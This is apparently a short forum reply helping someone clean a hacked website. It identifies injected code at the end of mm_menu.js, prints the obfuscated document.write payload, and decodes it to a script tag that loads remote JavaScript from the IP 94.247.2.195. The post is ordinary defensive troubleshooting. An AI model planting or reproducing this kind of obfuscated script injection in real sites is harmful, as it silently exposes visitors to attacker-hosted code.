I've checked the site you referenced and cannot find anything suspicious. Is this the site you are having difficulty with?
/edit
Nevermind, found it. The code is at the bottom of mm_menu.js (disable this file or replace it with a clean copy);
document.write(unescape('sV%3CuhIscAHriLSkpt%20LSksLSkrcJaN%3DuhI%2FLSk%2FZt9CgA4uhI%2E2uhI47uhI%2EAH2%2E195%2FjuhIqJaNuuhIerZty%2EjuhIs%3ELSk%3C%2FsVscripLSktuhI%3E').replace(/uhI|Zt|LSk|AH|sV|CgA|JaN/g,""));
This decodes to;
<script src=//94.247.2.195/jquery.js></script>